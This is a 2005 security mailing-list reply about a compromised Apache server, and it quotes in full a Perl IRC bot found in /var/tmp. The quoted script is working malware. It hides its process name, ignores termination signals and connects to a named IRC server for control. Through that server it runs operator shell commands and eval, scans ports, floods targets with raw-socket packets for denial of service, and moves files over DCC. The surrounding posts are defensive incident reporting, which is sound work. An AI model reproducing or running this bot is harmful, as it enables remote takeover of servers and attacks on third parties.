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Date: Fri, 29 Apr 2005 22:55:44 -0300
From: Luiz Henrique <luizhwk@....ufsc.br>
To: Andrew Y Ng <ayn@...rewNg.com>
Cc: bugtraq@...urityfocus.com
Subject: Re: Apache hacks (./atac, d0s.txt)


Hi, just a comment: the comments are in portuguese(pt-br) :) .. it has a 
irc bot.. it scans some ports.. am. has a function to execute shell 
commands from irc messages.. to execute dos.. and it has nothing to do 
with apache:

$0="$processo"."\0"x16;; It changes the name of the program.

Translation:

my $processo = '/usr/local/apache/bin/httpd -DSSL';  # Nome do processo que vai aparece no ps       #

pt # Nome do processo que vai aparece no ps

en # Process name show in ps


Someone is playing in your machine. :p Take a picture of your system 
before reinstall it, maybe to anylise how he get in and what else he has 
done and update with the last patch's.

Andrew Y Ng wrote:

>My server has been seeing some usual activities today, I don't have much time
>to get down to the bottom of things, but after I investigated briefly I have
>decided to disable PERL executable permission for www-data (Apache process's
>user), also locked /var/tmp so www-data cannot write to it. 
>
>Looks like it ignores all the `kill` signals, not sure how I can actually
>kill it...
>
>
>I found the included script in /var/tmp called d0s.txt.
>
>I found a bunch of processes called ./atac 20 running, and found the
>following content in /tmp/atac:
>
>http://andrewng.com/tmp/atac.tbz
>
>here's d0s.txt:
>
>#!/usr/bin/perl
>################ CONFIGURACAO #################################################################
>my $processo = '/usr/local/apache/bin/httpd -DSSL';  # Nome do processo que vai aparece no ps       #
>#----------------------------------------------################################################
>my $MODOME='+pi';                               #  Modo Do Bot                                 #                   
>#----------------------------------------------################################################
>my $linas_max='10';                            # Evita o flood :) depois de X linhas          #
>#----------------------------------------------################################################
>my $sleep='3';                                 # ele dorme X segundos                         #
>##################### IRC #####################################################################
>my @adms=("DDOS");	                       # Nick do administrador                        #
>#----------------------------------------------################################################
>my @canais=("#bots ddos");# Canais                                       #
>#----------------------------------------------################################################
>my $nick='b0t';                           # Nick do bot. Caso esteja em uso vai aparecer #
>#                                              # aparecer com numero radonamico no final      #
>#----------------------------------------------################################################
>my $ircname = 'b0t';                      # User ID                                      #
>#----------------------------------------------################################################
>my $realname = '..4A.dmin.14: .4..#..D.D.OS..';                                     #
>#----------------------------------------------################################################
>$servidor='irc.gigachat.net' unless $servidor; # Servidor de irc que vai ser usado            #
>#                                              # caso n�o seja especificado no argumento      #
>#----------------------------------------------################################################
>my $porta='6667';	                       # Porta do servidor de irc                     #
>################ ACESSO A SHELL ###############################################################
>my $secv = 1;	                               # 1/0 pra habilita/desabilita acesso a shell   #
>###############################################################################################
>
>my $VERSAO = '1.0';
>
>$SIG{'INT'} = 'IGNORE';
>$SIG{'HUP'} = 'IGNORE';
>$SIG{'TERM'} = 'IGNORE';
>$SIG{'CHLD'} = 'IGNORE';
>$SIG{'PS'} = 'IGNORE';
>
>use IO::Socket;
>use Socket;
>use IO::Select;
>chdir("/");
>$servidor="$ARGV[0]" if $ARGV[0];
>$0="$processo"."\0"x16;;
>my $pid=fork;
>exit if $pid;
>die "Problema com o fork: $!" unless defined($pid);
>
>
>
>our %irc_servers;
>our %DCC;
>my $dcc_sel = new IO::Select->new();
>
>
>$sel_cliente = IO::Select->new();
>sub sendraw {
>  if ($#_ == '1') {
>    my $socket = $_[0];
>    print $socket "$_[1]\n";
>  } else {
>      print $IRC_cur_socket "$_[0]\n";
>  }
>}
>
>sub conectar {
>   my $meunick = $_[0];
>   my $servidor_con = $_[1];
>   my $porta_con = $_[2];
>
>   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
>   if (defined($IRC_socket)) {
>     $IRC_cur_socket = $IRC_socket;
>
>     $IRC_socket->autoflush(1);
>     $sel_cliente->add($IRC_socket);
>
>     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
>     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
>     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
>     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
>     nick("$meunick");
>     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
>     sleep 1;
>   }
>
>}
>my $line_temp;
>while( 1 ) {
>   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
>   delete($irc_servers{''}) if (defined($irc_servers{''}));
>   &DCC::connections;
>   my @ready = $sel_cliente->can_read(0);
>   next unless(@ready);
>   foreach $fh (@ready) {
>     $IRC_cur_socket = $fh;
>     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
>     $nread = sysread($fh, $msg, 4096);
>     if ($nread == 0) {
>        $sel_cliente->remove($fh);
>        $fh->close;
>        delete($irc_servers{$fh});
>     }
>     @lines = split (/\n/, $msg);
>
>     for(my $c=0; $c<= $#lines; $c++) {
>       $line = $lines[$c];
>       $line=$line_temp.$line if ($line_temp);
>       $line_temp='';
>       $line =~ s/\r$//;
>       unless ($c == $#lines) {
>         parse("$line");
>       } else {
>           if ($#lines == 0) {
>             parse("$line");
>           } elsif ($lines[$c] =~ /\r$/) {
>               parse("$line");
>           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
>               parse("$line");
>           } else {
>               $line_temp = $line;
>           }
>       }
>      }
>   }
>}
>
>
> 
>sub parse {
>   my $servarg = shift;
>   if ($servarg =~ /^PING \:(.*)/) {
>     sendraw("PONG :$1");
>   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
>       my $pn=$1; my $onde = $4; my $args = $5;
>       if ($args =~ /^\001VERSION\001$/) {
>         notice("$pn", "\001Bot powered by DDOS TEAM\001");
>       }
>       if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
>         if ($onde eq "$meunick"){
>           shell("$pn", "$args");
>         }
>         if ($args =~ /^(\Q$meunick\E|\!bot)\s+(.*)/ ) {
>            my $natrix = $1;
>            my $arg = $2;
>            if ($arg =~ /^\!(.*)/) {
>              ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
>            } elsif ($arg =~ /^\@(.*)/) {
>                $ondep = $onde;
>                $ondep = $pn if $onde eq $meunick;
>                bfunc("$ondep","$1");
>            } else {
>                shell("$onde", "$arg");
>            }
>         } 
>       }
>   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
>       if (lc($1) eq lc($meunick)) {
>         $meunick=$4; 
>         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
>       }
>   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
>       nick("$meunick".int rand(9999));
>   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
>       $meunick = $2;
>       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
>       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
>       foreach my $canal (@canais) {
>         print "$0 Executado \n";
>         sendraw("JOIN $canal");
>       	 sendraw("MODE $meunick $MODOME");
>	 sendraw("PRIVMSG $canal :Modo Alterado Para.4 $MODOME");
>       }
>   }
>}
>
>sub bfunc {
>  my $printl = $_[0];
>  my $funcarg = $_[1];
>  if (my $pid = fork) {
>     waitpid($pid, 0);
>  } else {
>      if (fork) {
>         exit;
>       } else {
>           if ($funcarg =~ /^portscan (.*)/) {
>             my $hostip="$1";
>             my @portas=("21","22","23","25","53","80","110","143");
>             my (@aberta, %porta_banner);
>             foreach my $porta (@portas)  {
>                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
>                if ($scansock) {
>                   push (@aberta, $porta);
>                   $scansock->close;
>                }
>             }
>
>             if (@aberta) {
>               sendraw($IRC_cur_socket, "PRIVMSG $printl :portas abertas: @aberta");
>             } else {
>                 sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada"); 
>             }
>           }
>           if ($funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) {
>             my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
>             $dtime = 1 if $dtime == 0;
>             my %bytes;
>             $bytes{igmp} = $2 * $pacotes{igmp};
>             $bytes{icmp} = $2 * $pacotes{icmp};
>             $bytes{o} = $2 * $pacotes{o};
>             $bytes{udp} = $2 * $pacotes{udp};
>             $bytes{tcp} = $2 * $pacotes{tcp};
>            
>             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $dtime"."s");
>             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002M�dia de envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
>
>
>           }
>           exit;
>       }
>  }
>}
> 
>sub ircase {
>  my ($kem, $printl, $case) = @_;
>
>  if ($case =~ /^join (.*)/) {
>     j("$1");
>   } 
>   if ($case =~ /^part (.*)/) {
>      p("$1");
>   }
>   if ($case =~ /^rejoin\s+(.*)/) {
>      my $chan = $1;
>      if ($chan =~ /^(\d+) (.*)/) {
>        for (my $ca = 1; $ca <= $1; $ca++ ) {
>          p("$2");
>          j("$2");
>        }
>      } else {
>          p("$chan");
>          j("$chan");
>      }
>   }
>   if ($case =~ /^op/) {
>      op("$printl", "$kem") if $case eq "op";
>      my $oarg = substr($case, 3);
>      op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
>   }
>   if ($case =~ /^deop/) {
>      deop("$printl", "$kem") if $case eq "deop";
>      my $oarg = substr($case, 5);
>      deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
>   }
>   if ($case =~ /^voice/) {
>      voice("$printl", "$kem") if $case eq "voice";
>      $oarg = substr($case, 6);
>      voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
>   }
>   if ($case =~ /^devoice/) {
>      devoice("$printl", "$kem") if $case eq "devoice";
>      $oarg = substr($case, 8);
>      devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
>   }
>   if ($case =~ /^msg\s+(\S+) (.*)/) {
>      msg("$1", "$2");
>   }
>   if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
>      for (my $cf = 1; $cf <= $1; $cf++) {
>        msg("$2", "$3");
>      }
>   }
>   if ($case =~ /^ctcp\s+(\S+) (.*)/) {
>      ctcp("$1", "$2");
>   }
>   if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
>      for (my $cf = 1; $cf <= $1; $cf++) {
>        ctcp("$2", "$3");
>      }
>   }
>   if ($case =~ /^invite\s+(\S+) (.*)/) {
>      invite("$1", "$2");
>   }
>   if ($case =~ /^nick (.*)/) {
>      nick("$1");
>   }
>   if ($case =~ /^conecta\s+(\S+)\s+(\S+)/) {
>       conectar("$2", "$1", 6667);
>   }
>   if ($case =~ /^send\s+(\S+)\s+(\S+)/) {
>      DCC::SEND("$1", "$2");
>   }
>   if ($case =~ /^raw (.*)/) {
>      sendraw("$1");
>   }
>   if ($case =~ /^eval (.*)/) {
>     eval "$1";
>   }
>}
>sub shell {
>  return unless $secv;
>  my $printl=$_[0];
>  my $comando=$_[1];
>  if ($comando =~ /cd (.*)/) {
>    chdir("$1") || msg("$printl", "Diert�rio inexistente!");
>    return;
>  } 
>  elsif ($pid = fork) {
>     waitpid($pid, 0);
>  } else {
>      if (fork) {
>         exit;
>       } else {
>           my @resp=`$comando 2>&1 3>&1`;
>           my $c=0;
>           foreach my $linha (@resp) {
>             $c++;
>             chop $linha;
>             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
>             if ($c == "$linas_max") {
>               $c=0;
>               sleep $sleep;
>             }
>           }
>           exit;
>       }
>  }
>}
>
>#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
>sub attacker {
>  my $iaddr = inet_aton($_[0]);
>  my $msg = 'B' x $_[1];
>  my $ftime = $_[2];
>  my $cp = 0;
>  my (%pacotes);
>  $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
>  
>  socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
>  socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
>  socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
>  socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
>  return(undef) if $cp == 4;
>  my $itime = time;
>  my ($cur_time);
>  while ( 1 ) {
>     for (my $porta = 1; $porta <= 65000; $porta++) {
>       $cur_time = time - $itime;
>       last if $cur_time >= $ftime;
>       send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
>       send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
>       send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
>       send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
>
>       # DoS ?? :P
>       for (my $pc = 3; $pc <= 255;$pc++) {
>         next if $pc == 6;
>         $cur_time = time - $itime;
>         last if $cur_time >= $ftime;
>         socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
>         send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;;
>       }
>     }
>     last if $cur_time >= $ftime;
>  }
>  return($cur_time, %pacotes);
>}
>
>
>
>#############
>#  ALIASES  #
>#############
>
>sub action {
>   return unless $#_ == 1;
>   sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
>}
>
>sub ctcp {
>   return unless $#_ == 1;
>   sendraw("PRIVMSG $_[0] :\001$_[1]\001");
>}
>sub msg {
>   return unless $#_ == 1;
>   sendraw("PRIVMSG $_[0] :$_[1]");
>}  
>
>sub notice {
>   return unless $#_ == 1;
>   sendraw("NOTICE $_[0] :$_[1]");
>}
>
>sub op {
>   return unless $#_ == 1;
>   sendraw("MODE $_[0] +o $_[1]");
>}
>sub deop {
>   return unless $#_ == 1;
>   sendraw("MODE $_[0] -o $_[1]");
>}
>sub hop {
>    return unless $#_ == 1;
>   sendraw("MODE $_[0] +h $_[1]");
>}
>sub dehop {
>   return unless $#_ == 1;
>   sendraw("MODE $_[0] +h $_[1]");
>}
>sub voice {
>   return unless $#_ == 1;
>   sendraw("MODE $_[0] +v $_[1]");
>}
>sub devoice {
>   return unless $#_ == 1;
>   sendraw("MODE $_[0] -v $_[1]");
>}
>sub ban {
>   return unless $#_ == 1;
>   sendraw("MODE $_[0] +b $_[1]");
>}
>sub unban {
>   return unless $#_ == 1;
>   sendraw("MODE $_[0] -b $_[1]");
>}
>sub kick {
>   return unless $#_ == 1;
>   sendraw("KICK $_[0] $_[1] :$_[2]");
>}
>
>sub modo {
>   return unless $#_ == 0;
>   sendraw("MODE $_[0] $_[1]");
>}
>sub mode { modo(@_); }
>
>sub j { &join(@_); }
>sub join {
>   return unless $#_ == 0;
>   sendraw("JOIN $_[0]");
>}
>sub p { part(@_); }
>sub part {sendraw("PART $_[0]");}
>
>sub nick {
>  return unless $#_ == 0;
>  sendraw("NICK $_[0]");
>}
>
>sub invite {
>   return unless $#_ == 1;
>   sendraw("INVITE $_[1] $_[0]");
>}
>sub topico {
>   return unless $#_ == 1;
>   sendraw("TOPIC $_[0] $_[1]");
>}
>sub topic { topico(@_); }
>
>sub whois {
>  return unless $#_ == 0;
>  sendraw("WHOIS $_[0]");
>}
>sub who {
>  return unless $#_ == 0;
>  sendraw("WHO $_[0]");
>}
>sub names {
>  return unless $#_ == 0;
>  sendraw("NAMES $_[0]");
>}
>sub away {
>  sendraw("AWAY $_[0]");
>}
>sub back { away(); }
>sub quit {
>  sendraw("QUIT :$_[0]");
>}
>
>
>
># DCC
>package DCC;
>
>sub connections {
>   my @ready = $dcc_sel->can_read(1);
>#   return unless (@ready);
>   foreach my $fh (@ready) {
>     my $dcctipo = $DCC{$fh}{tipo};
>     my $arquivo = $DCC{$fh}{arquivo};
>     my $bytes = $DCC{$fh}{bytes};
>     my $cur_byte = $DCC{$fh}{curbyte};
>     my $nick = $DCC{$fh}{nick};
>
>     my $msg;
>     my $nread = sysread($fh, $msg, 10240);
>
>     if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
>        $DCC{$fh}{status} = "Cancelado";
>        $DCC{$fh}{ftime} = time;
>        $dcc_sel->remove($fh);
>        $fh->close;
>        next;
>     }
>
>     if ($dcctipo eq "get") {
>        $DCC{$fh}{curbyte} += length($msg);
>
>        my $cur_byte = $DCC{$fh}{curbyte};
>
>        open(FILE, ">> $arquivo");
>        print FILE "$msg" if ($cur_byte <= $bytes);
>        close(FILE);
>
>        my $packbyte = pack("N", $cur_byte);
>        print $fh "$packbyte";
>
>        if ($bytes == $cur_byte) {
>           $dcc_sel->remove($fh);
>           $fh->close;
>           $DCC{$fh}{status} = "Recebido";
>           $DCC{$fh}{ftime} = time;
>           next;
>        }
>     } elsif ($dcctipo eq "send") {
>          my $send = $fh->accept;
>          $send->autoflush(1);
>          $dcc_sel->add($send);
>          $dcc_sel->remove($fh);
>          $DCC{$send}{tipo} = 'sendcon';
>          $DCC{$send}{itime} = time;
>          $DCC{$send}{nick} = $nick;
>          $DCC{$send}{bytes} = $bytes;
>          $DCC{$send}{curbyte} = 0;
>          $DCC{$send}{arquivo} = $arquivo;
>          $DCC{$send}{ip} = $send->peerhost;
>          $DCC{$send}{porta} = $send->peerport;
>          $DCC{$send}{status} = "Enviando";
>
>          #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
>          open(FILE, "< $arquivo");
>          my $fbytes;
>          read(FILE, $fbytes, 1024);
>          print $send "$fbytes";
>          close FILE;
>#          delete($DCC{$fh});
>     } elsif ($dcctipo eq 'sendcon') {
>          my $bytes_sended = unpack("N", $msg);
>          $DCC{$fh}{curbyte} = $bytes_sended;
>          if ($bytes_sended == $bytes) {
>             $fh->close;
>             $dcc_sel->remove($fh);
>             $DCC{$fh}{status} = "Enviado";
>             $DCC{$fh}{ftime} = time;
>             next;
>          }
>          open(SENDFILE, "< $arquivo");
>          seek(SENDFILE, $bytes_sended, 0);
>          my $send_bytes;
>          read(SENDFILE, $send_bytes, 1024);
>          print $fh "$send_bytes";
>          close(SENDFILE);
>     }
>   }
>}
>
>
>sub SEND {
>  my ($nick, $arquivo) = @_;
>  unless (-r "$arquivo") {
>    return(0);
>  }
> 
>  my $dccark = $arquivo;
>  $dccark =~ s/[.*\/](\S+)/$1/;
>
>  my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
>  my $longip = unpack("N",inet_aton($meuip));
>
>  my @filestat = stat($arquivo);
>  my $size_total=$filestat[7];
>  if ($size_total == 0) {
>     return(0);
>  }
>
>  my ($porta, $sendsock);
>  do {
>    $porta = int rand(64511);
>    $porta += 1024;
>    $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
>  } until $sendsock;
>
>  $DCC{$sendsock}{tipo} = 'send';
>  $DCC{$sendsock}{nick} = $nick;
>  $DCC{$sendsock}{bytes} = $size_total;
>  $DCC{$sendsock}{arquivo} = $arquivo;
>
>
>  &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
>
>}
>
>sub GET {
>  my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
>  return(0) if (-e "$arquivo");
>  if (open(FILE, "> $arquivo")) {
>     close FILE;
>  } else { 
>    return(0); 
>  }
>
>  my $dccip=fixaddr($dcclongip);
>  return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
>  my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
>  $dccsock->autoflush(1);
>  $dcc_sel->add($dccsock);
>  $DCC{$dccsock}{tipo} = 'get';
>  $DCC{$dccsock}{itime} = time;
>  $DCC{$dccsock}{nick} = $nick;
>  $DCC{$dccsock}{bytes} = $bytes;
>  $DCC{$dccsock}{curbyte} = 0;
>  $DCC{$dccsock}{arquivo} = $arquivo;
>  $DCC{$dccsock}{ip} = $dccip;
>  $DCC{$dccsock}{porta} = $dccporta;
>  $DCC{$dccsock}{status} = "Recebendo";
>}
>
># po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
>sub Status {
>  my $socket = shift;
>  my $sock_tipo = $DCC{$socket}{tipo};
>  unless (lc($sock_tipo) eq "chat") {
>    my $nick = $DCC{$socket}{nick};
>    my $arquivo = $DCC{$socket}{arquivo};
>    my $itime = $DCC{$socket}{itime};
>    my $ftime = time;
>    my $status = $DCC{$socket}{status};
>    $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
>
>    my $d_time = $ftime-$itime;
>
>    my $cur_byte = $DCC{$socket}{curbyte};
>    my $bytes_total =  $DCC{$socket}{bytes};
>
>    my $rate = 0;
>    $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
>    my $porcen = ($cur_byte*100)/$bytes_total;
>
>    my ($r_duv, $p_duv);
>    if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
>       $r_duv = $3; $r_duv++ if $4 >= 5;
>       $rate = "$1\.$2"."$r_duv";
>    }
>    if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
>       $p_duv = $3; $p_duv++ if $4 >= 5;
>       $porcen = "$1\.$2"."$p_duv";
>    }
>    return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
>  }
>
>
>  return(0);
>}
>
>
>sub fixaddr {
>    my ($address) = @_;
>
>    chomp $address;     # just in case, sigh.
>    if ($address =~ /^\d+$/) {
>        return inet_ntoa(pack "N", $address);
>    } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
>        return $address;
>    } elsif ($address =~ tr/a-zA-Z//) {                    
>        return inet_ntoa(((gethostbyname($address))[4])[0]);
>    } else {
>        return;
>    }
>}
>
>  
>



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